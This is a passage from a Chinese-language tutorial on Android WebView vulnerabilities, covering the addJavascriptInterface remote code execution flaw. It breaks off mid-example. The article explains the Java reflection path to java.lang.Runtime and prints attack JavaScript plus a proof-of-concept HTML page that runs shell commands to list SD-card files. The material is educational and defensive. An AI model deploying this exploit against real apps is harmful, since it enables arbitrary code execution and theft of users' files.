项目问题
移动端产品安全漏洞检测报告中指出了很多Android客户端存在的各类安全隐患。其中,使用WebView控件不当导致的漏洞几乎每份报告中都有提及,为此本文将全面的介绍WebView的安全检测报告中提及的漏洞和其他常见的漏洞,以及漏洞的修复方式。
1. 类型
在使用WebView过程中,主要存在的漏洞有三类:
- 任意代码执行漏洞
- 密码明文存储漏洞
- 域控制不严格漏洞
2.具体分析
2.1 WebView 任意代码执行漏洞
出现该漏洞的原因有三个:
- WebView 中 addJavascriptInterface() 接口
- WebView 内置导出的searchBoxJavaBridge_对象
- WebView 内置导出的 accessibility 和accessibilityTraversalObject 对象
2.1.1 addJavascriptInterface 接口引起远程代码执行漏洞
漏洞产生原因
JS调用Android的其中一个方式是通过addJavascriptInterface接口进行对象映射:
// 参数1:Android的本地对象
// 参数2:JS的对象
// 通过对象映射将Android中的本地对象和JS中的对象进行关联,从而实现JS调用Android的对象和方法
webView.addJavascriptInterface(new JSObject(), "myObj");
所以,漏洞产生原因是:当JS拿到Android这个对象后,就可以调用这个Android对象中所有的方法,包括系统类(java.lang.Runtime类),从而进行任意代码执行。如可以执行命令获取本地设备的SD卡中的文件等信息从而造成信息泄露。
具体获取系统类的描述(结合 Java 反射机制):
- Android中的对象有一公共的方法:getClass();
- 该方法可以获取到当前类类型Class;
- 该类有一关键的方法: Class.forName;
- 该方法可以加载一个类(可加载 java.lang.Runtime 类);
- 而该类是可以执行本地命令的
以下是攻击的Js核心代码,当APP加载一个外部网页时,攻击者就可以用这段js代码进行漏洞攻击:
function execute(cmdArgs) {
// 步骤1:遍历 window 对象
// 目的是为了找到包含 getClass()的对象
// 因为Android映射的JS对象也在window中,所以肯定会遍历到
for (var obj in window) {
if ("getClass"in window[obj]) {
// 步骤2:利用反射调用forName()得到Runtime类对象
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
// 步骤3:以后,就可以调用静态方法来执行一些命令,比如访问文件的命令
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
// 从执行命令后返回的输入流中得到字符串,有很严重暴露隐私的危险。
// 如执行完访问文件的命令之后,就可以得到文件名的信息了。
}
}
}
为了证明这个漏洞,我们加载一个包含恶意JS代码的本地网页,HTML其代码如下:
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
var i=0;
function getContents(inputStream){
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs) {
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);